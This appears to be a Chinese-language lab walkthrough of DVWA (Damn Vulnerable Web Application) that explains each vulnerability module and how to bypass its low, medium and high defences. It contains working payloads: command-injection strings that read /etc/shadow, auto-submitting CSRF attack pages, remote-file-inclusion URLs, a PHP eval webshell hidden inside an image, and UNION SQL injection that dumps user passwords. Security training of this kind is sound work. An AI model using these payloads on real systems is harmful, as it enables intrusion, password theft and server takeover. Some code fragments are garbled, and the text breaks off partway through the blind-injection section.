Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。
初级:服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。所以可以采用万能密码的方式进行登录   1.Username:admin' or '1'='1   Password:(空) 2.Username :admin' # Password :(空)(手工注入)
同时也可以采用BP进行爆破,将抓到的包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$($password&)。选中Payloads模块,载入字典,点击Start attack进行爆破,成功后响应的密码长度是不同的。
 
中级:主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,',",x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上)。虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样。
 
高级:High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,登录验证时提交了四个参数:username、password、Login以及user_token。每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。同时,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。  可以采用py的方式进行爆破
 
 
 
Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
 
初级: // Determine OS and execute the ping command.
 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为"false" ,如果设置为 "true",函数将返回 search 参数第一次出现之前的字符串部分。
 
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
 
window和linux系统都可以用&&来执行多条命令
127.0.0.1&&net user      查看所有用户
Linux下输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件
 
 
中级:相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。  // Set blacklist
 
    $substitutions = array(
 
        '&&' => '',
 
        ';'  => '',
 
    );
 
127.0.0.1&net user
 
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
这里需要注意的是”&&”与” &”的区别:
 
Command 1&&Command 2
 
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
 
先执行Command 1,不管是否成功,都会执行Command 2
 
由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:
 
127.0.0.1&;&ipconfig
因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。
 
 
高级: $substitutions = array(
 
        '&'  => '',
 
        ';'  => '',
 
        '|  ' => '',
 
        '-'  => '',
 
        '$'  => '',
 
        '('  => '',
 
        ')'  => '',
 
        '`'  => '',
 
        '||' => '',
 
    );
High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。
127.0.0.1|net user
 
Command 1 | Command 2
 
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
 
 
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
 
初级:服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
1.构造链接
最基础的:
当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
 
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
 
2.上面的链接太过于明显,所以我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):
 
http://dwz.cn/****(可以搜索在线短链接制作)
 
本地搭的环境,服务器域名是ip所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
 
3.构造攻击页面
 
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示,就在本地写一个test.html,下面是具体代码。
 
<h1>404<h1>
 
<h2>file not found.<h2>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
 
 
 
中级:int eregi(string pattern, string string)
 
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
 
代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
  if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)
 
我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了
同时也可以用抓包进行修改,将Referer中的数,修改与Host一致的主机名
 
 
高级:代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
 
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
 
    function attack()
 
  {
 
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
 
  document.getElementById("transfer").submit();
 
  }
 
</script>
 
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
 
</iframe>
 
 
<body onload="attack()">
 
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
 
   <input type="hidden" name="password_new" value="password">
 
    <input type="hidden" name="password_conf" value="password">
 
   <input type="hidden" name="user_token" value="">
 
  <input type="hidden" name="Change" value="Change">
 
   </form>
 
</body>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
 
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
 
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
 
Name存在XSS漏洞,于是抓包,改参数,成功弹出token
在抓包中将name的代码修改为:<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token') [0].value>即可
 
 
 
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
 
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>
服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接(file1.php、file2.php、file3.php),服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的.
 
 
初级:1.本地文件包含
         构造url
 
若是报错,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径C:\xampp\htdocs。
Warning. include(/etc/shadow): failed to open stream: No such file or diretory in C:xmpp\htdocs\dvwa\vulnerabilities\index.php on line 36
 
构造url(绝对路径)
 
显示成功读取
读取显示:This file attempts to overwrite the original php.ini file. Doesnt always work. magic_ quotes_ gpc = Of allow _url_ fopen on allow _url_ jinclude on
 
构造url(相对路径)
http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini
加这么多..\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。
读取显示:This file attempts to overwrite the original php.ini file. Doesnt always work. magic_ quotes_gpc = Of allow_ url_ fopen on allow_url_include on
 
上面读取显示的配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
 
A)http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini
 
B)http://192.168.153.130/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini%0012.php
使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。
 
2.远程文件包含
 
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
 
在远程服务器192.168.5.12上传一个phpinfo.txt文件,内容如下
<php
plpinfo( ;
?>
 
构造url
 
 
为了增加隐蔽性,可以对http://192.168.5.12/phpinfo.txt进行编码
 
 
 
 
 
中级://Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。
 
 
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
 
例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。
 
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的
 
1.本地文件包含
 
 
 
绝对路径不受任何影响,读取成功
This file attempts to overwrite the original php.ini file. Doesnt always work. magic_ quotes_gpc = Of allow_ url_ fopen on allow_url_include on
 
2.远程文件包含
 
 
经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://192.168.5.12/phpinfo.txt,因此读取失败。
 
高级:if(!fnmatch("file*",$file)&&$file!="include.php"){
   //Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
 
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议:file:///C:/Users/Administrator/Desktop/1.txt
 
构造url
 
 
成功读取:This file attempts to overwrite the original php.ini file. Doesnt always work. magic_ quotes_gpc = Of allow_ url_ fopen on allow_url_include on
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
 
 
 
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
 
初级:  $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); (代码)
basename(path,suffix)
 
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
初级的代码显示,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
 
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。
上传文件hack.php(一句话木马):<?php
@eval($_ POST[' apple' ]);
?>
打开中国菜刀,右键添加,
 
地址栏填入上传文件所在路径http://192.168.153.130/dvwa/hackable/uploads/hack.php
 
参数名(一句话木马口令)为apple。
然后菜刀就会通过向服务器发送包含apple参数的post请求,在服务器上执行任意命令,获取webshell权限。
 
可以下载、修改服务器的所有文件。
 
 
中级:  // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
 
1.组合拳(文件包含+文件上传)
 
因为采用的是一句话木马,所以文件大小不会有问题,至于文件类型的检查,尝试修改文件名为hack.png。
直接去用菜刀连接是不可能连接成功的。
中国菜刀的原理是向上传文件发送包含apple参数的post请求,通过控制apple参数来执行不同的命令,而这里服务器将木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
 
那么如何让服务器将其解析为php文件呢?我们想到文件包含漏洞(详见文件包含漏洞教程)。这里可以借助Medium级别的文件包含漏洞来获取webshell权限,打开中国菜刀,右键添加,在地址栏中输入
 
 
参数名为apple,脚本语言选择php。
 
 
2.抓包修改文件类型
 
上传hack.png文件,抓包。
看到文件类型为image/png,尝试修改filename为hack.php
修改以后采用路径去连接菜刀即可
 
3.截断绕过规则
 
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。
 
可以看到,包中的文件类型为image/png,可以通过文件类型检查。
上传成功后服务器会认为其文件名为hack.php,顺势解析为php文件。遗憾的是,由于本次实验环境的php版本为5.4.31,所以无法进行验证。
 
 
 
高级:  // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
 
strrpos(string,find,start)
 
函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
 
getimagesize(string filename)
 
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
 
采用%00截断的方法可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片,(php版本小于5.3.4的服务器中可以使用%00截断)由于实验环境的php版本原因,这里只演示如何借助High级别的文件包含漏洞来完成攻击。
 
首先利用copy将一句话木马文件php.php与图片文件1.jpg合并
copy 1.jpg/b+php. php/a hack . jpg(将图片1与一句话php文件结合成hack图片文件)
这样就可以顺利通过文件头检查,上菜刀,右键添加shell,地址栏填入http://192.168.153.130/dvwa/vulnerabilities/fi/?page=file:///C:/xampp/htdocs/dvwa/hackable/uploads/hack.jpg
 
参数名填apple,脚本语言选择php。(?php @eval($_ POST['apple']) ;)
 
 
 
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。
 
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。:recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
   $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );
 
 
参数$privkey是服务器申请的private key ,$remoteip是用户的ip,$challenge 是recaptcha_challenge_field 字段的值,来自前端页面 ,$response是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse 类有2个属性 :$is_valid是布尔型的,表示校验是否有效,$error是返回的错误代码。
 
初级: // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );
 
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
 
1.通过构造参数绕过验证过程的第一步
 
首先输入密码,抓包:
因为没有FQ,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)
 
更改step参数绕过验证码:将step=1改为=2
 
 
2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。
<html>      
 
<body onload="document.getElementById('transfer').submit()">        
 
  <div>    
 
    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">     
 
        <input type="hidden" name="password_new" value="password">
 
        <input type="hidden" name="password_conf" value="password">     
 
        <input type="hidden" name="step" value="2"      
 
        <input type="hidden" name="Change" value="Change">        
 
    </form>        
 
  </div>        
 
</body>
 
</html>
当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。但是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击
 
 
中级:<form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
 
1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码:将step中的=1改为=2,并且在后面加上passed_captcha=true
 
 
2.依然可以实施CSRF攻击,攻击页面代码如下。
<html>       
 
<body onload="document.getElementById('transfer').submit()">       
 
  <div>      
 
    <form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">       
 
        <input type="hidden" name="password_new" value="password">
 
        <input type="hidden" name="password_conf" value="password">        
 
        <input type="hidden" name="passed_captcha" value="true">        
 
        <input type="hidden" name="step" value="2">       
 
        <input type="hidden" name="Change" value="Change">        
 
    </form>        
 
  </div>
 
</body>        
 
</html>访问这个页面时会将改密请求发送给服务器,但是改密成功后会跳转到改密成功的页面
 
 
高级:// Did the CAPTCHA fail?
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
 
由于$resp参数无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
首先要进行抓包,将抓到的包中的参数更改参数recaptcha_response_field以及http包头的User-Agent:
 
recaptcha_response_field=hidd3n_valu3      User-Agent:reCAPTCHA
 
 
 
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。
 
1.判断是否存在注入,注入是字符型还是数字型
 
2.猜解SQL查询语句中的字段数
 
3.确定显示的字段顺序
 
4.获取当前数据库
 
5.获取数据库中的表
 
6.获取表中的字段名
 
7.下载数据
 
 
 
初级:if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。
 
1.判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:
ID: 1
First name: admin
Sumame: adnin
输入1’and ‘1’ =’2,查询失败,返回结果为空
 
输入1’or ‘1234 ’=’1234
D: 1’or " 1234'=' 1234
First name: adnin
Sumame: adnin
ID: 1’or ' 1234'=' 1234
First name: Gordon
Sumame: Brown
D: 1’or '1234'=' 1234
First name: Hack
Sumame: Me
ID: 1’or ' 1234'=' 1234
First name: Pablo
Sumame: Pic asso
ID: 1’or’1234'=' 1234
First name: Bob
Sumame: Smith
返回了多个结果,说明存在字符型注入。
 
2.猜解SQL查询语句中的字段数
输入1' or 1=1 order by 2 #成功
 
ID: 1’or 1=1 order by2 #
First name: admin
Sumame: admin
D:1’or1=1orderby2#
First name: Gordon
Sumame: Brown
D: 1’or 1=1 order by2 #
First name: Hack
Sumame: Me
ID:1’or1=1orderby2#
First name: Pablo
Sumame: Picasso
D:1’or1=1orderby2#
First name: Bob
Sumame: Smith
 
输入1' or 1=1 order by 3 #,查询失败
 
Unknown column’3’ in
order cl ause
 
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
 
(这里也可以通过输入union select 1,2,3...来猜解字段数)
 
3.确定显示的字段顺序
输入1' union select 1,2 #,查询成功:
ID: 1’ union select 1, 2#
First name: adnin
Sumame:a
admin
ID: 1’ union select 1, 2#
First name: 1
Sumame: 2
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’...
 
4.获取当前数据库
输入1' union select 1,database() #,查询成功
 
ID: 1’ union select 1, database ()# :
First name: admin
Sumame: admin
ID: 1’ union select 1, database ()#
First name: 1
Sumame: dvwa
说明当前的数据库为dvwa。
 
5.获取数据库中的表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
说明数据库dvwa中一共有两个表,guestbook与users。
 
6.获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功:
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
 
7.下载数据
输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。
 
 
 
中级:if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
代码利用mysql_real_escape_string函数对特殊符号
 
\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
 
采用抓包可以进行
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为1' or 1=1 #  显示报错
抓包更改参数id为1 or 1=1 #,查询成功
说明存在数字型注入。
(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。)
 
2.猜解SQL查询语句中的字段数
抓包更改参数id为1 order by 2 #,查询成功
抓包更改参数id为1 order by 3 #,报错
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
 
3.确定显示的字段顺序
抓包更改参数id为1 union select 1,2 #,查询成功
说明执行的SQL语句为select First name,Surname from 表 where ID=id...
 
抓包更改参数id为1 union select 1,database() #,查询成功
说明当前的数据库为dvwa。
 
5.获取数据库中的表
抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功
说明数据库dvwa中一共有两个表,guestbook与users。
 
6.获取表中的字段名
抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查询失败
 
这是因为单引号被转义了,变成了\’。
可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,查询成功
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
 
7.下载数据
抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功
users表中所有用户的user_id,first_name,last_name,password的数据。
 
 
高级: // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
 
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。
 
输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功
唯一的区别就是在初级1' or 1=1这个地方有'单引号,而高级没有
 
需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
 
 
 
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注
 
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
 
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。
 
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
 
1.判断是否存在注入,注入是字符型还是数字型
 
2.猜解当前数据库名
 
3.猜解数据库中的表名
 
4.猜解表中的字段名
 
5.猜解数据
 
初级:if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,'
 
User ID exists in the database.
'与'
 
`User ID is MISSING from the database.`
',因此这里是SQL盲注漏洞。
 
基于布尔的盲注
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在User ID exists in the database.
输入1’ and 1=1 #,显示存在User ID exists in the database.
输入1’ and 1=2 #,显示不存在User ID is MISSING from the dat abase.
说明存在字符型的SQL盲注。
 
2.猜解当前数据库名
